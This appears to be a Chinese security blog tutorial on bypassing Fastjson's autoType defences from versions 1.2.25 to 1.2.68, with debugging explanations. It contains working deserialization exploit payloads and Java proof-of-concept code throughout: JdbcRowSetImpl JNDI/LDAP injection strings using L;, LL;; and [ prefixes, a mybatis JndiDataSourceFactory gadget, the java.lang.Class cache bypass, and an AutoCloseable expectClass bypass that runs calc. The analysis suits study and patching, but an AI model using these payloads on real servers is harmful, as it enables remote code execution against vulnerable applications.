0%

fastjson高版本绕过

fastjson高版本绕过

在之前学习的fastjson反序列化与JNDI注入中,只对1.2.24版本有效,这篇文章我们来学习一下高版本的一些绕过手法

1.2.25-1.2.47绕过

在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

补丁绕过(需要开启AutoTypeSupport)

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

一、1.2.25-1.2.41补丁绕过

我们使用JNDI注入的漏洞进行测试,先将fastjson版本更换为1.2.25,执行原先的代码

1
2
3
4
5
6
7
8
9
10
package main.java.fastjson;

import com.alibaba.fastjson.JSON;

public class POC_JNDI {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:7777/test\", \"autoCommit\":false}";
JSON.parseObject(PoC);
}
}

img

并不支持JdbcRowSetImpl这个类,可能是被过滤了,等会再来分析,先看看exp

1
2
3
4
5
6
7
8
9
10
11
12
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC_JNDI {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:7777/test\", \"autoCommit\":false}";
JSON.parseObject(PoC);
}
}

img

调试分析

前面的部分和之前差不多,我们从这里开始分析

img

第一步还是获取@type的值,为Lcom.sun.rowset.JdbcRowSetImpl;,跟进config.checkAutoType方法

img

我这里没加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,这个值默认为false

然后到这里

img

先进行一个黑名单过滤(黑名单中有com.sun,对com.sun.rowset.JdbcRowSetImpl进行过滤,所以在前面加入L进行绕过),再进行白名单比较(白名单为空),没有return也没有抛出,步过if,最后到这里抛出异常

img

现在我们加上ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,先进行一次白名单(空),再进行一次黑名单,步过if,然后到这里

img

跟进这个loadclass

img

这里我们就可以看到我们这个Lcom.sun.rowset.JdbcRowSetImpl;是怎么来的了,判断是否以L开头,以;结尾,是的话就再去掉,将剩下的部分loadclass,也就成功加载了我们的类

1.2.25-1.2.42补丁绕过

从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist,但是这里依旧只是过滤了com.sun.

img

之前的exp不管用的主要原因是因为在这里多了一次截取操作

img

所以我们再首尾再加L和;字符即可绕过

img

由于是调用自身的loadclass方法,所以调用一次之后依旧是Lcom.sun.rowset.JdbcRowSetImpl;

1.2.25-1.2.43补丁绕过

使用之前的exp,会发生错误

img

原因主要是因为在checkAutotype中,进行了两次if判断,如果存在有两个LL,则会抛出异常

img

所以就不能用L来绕过,注意到如果开头为[也会有对应操作,代码如下

img

所以考虑添加[进行绕过,首先尝试如下payload

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

出现以下报错:

img

期望一个[在42的位置上,42的位置正好是,

更换exp

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

又出现

img

再更换

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

img

1.2.25-1.2.45补丁绕过

需要目标服务端存在mybatis的jar包,且版本需为 3.x.x 系列<3.5.0 的版本

更换为1.2.45版本后,之前的exp也不管用了,是因为下面这段代码

img

对其第一位进行了一个判断

exp

1
2
3
4
5
6
7
8
9
10
11
12
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC_JNDI {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:7777/test\"}}";
JSON.parseObject(PoC);
}
}

img

由于 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 不在黑名单中,所以直接能绕过checkAutoType的检测

1.2.25-1.2.47通杀

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC_JNDI {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://localhost:7777/test\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parseObject(PoC);
}
}

img

  1. 未开启AutoType时

因为未开启autotype,所以并不会进入黑名单的判断逻辑

img

跟进到deserializers.findClass方法

img

返回Class,然后会到这里

img

再然后到这里

img

一样的loadclass,然后到这里

img

将目标类放入了map缓存

第二次解析时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,然后 return 返回从而成功绕过checkAutoType()检测

img

  1. 开启了autotype

由于开启了AutoTypeSupport,所以会进行黑白名单判断

img

第一次解析时@type值为java.lang.Class所以都能通过,最后通过findClass函数获取到Class

第二次解析时@type值就成了com.sun.rowset.JdbcRowSetImpl此时进行如下判断

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。

1.2.48的修复措施

在loadClass时,将缓存开关(cache)默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单

1.2.47-1.2.68版本绕过

68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。

编写以下类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main.java.fastjson;

import java.io.IOException;

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}


@Override
public void close() throws Exception {

}
}
1
2
3
4
5
6
7
8
9
package main.java.fastjson;

import com.alibaba.fastjson.JSON;

public class POC68 {
public static void main(String[] args){
System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"main.java.fastjson.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
}
}

img

调试分析

还是在checkautotype处下个断点

img

可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL

往下,直接从缓存Mapping可以直接获得此类

img

然后将该类return,回到DefaultJSONParser类的parseObject方法,调用deserializer.deserialze

img

然后到这里

img

由于getSeeAlso方法返回null,所以又调用了一次checkAutoType方法,跟进

img

然后到这里

img

由于expectClass != null,步入if结构,然后到这里

img

跟进

img

然后到这里

img

自定义的对象被返回,然后会走到这里

img

usertype是我们自定义的类,然后到这里

img

创建一个实例,也就调用了恶意类的static方法,执行命令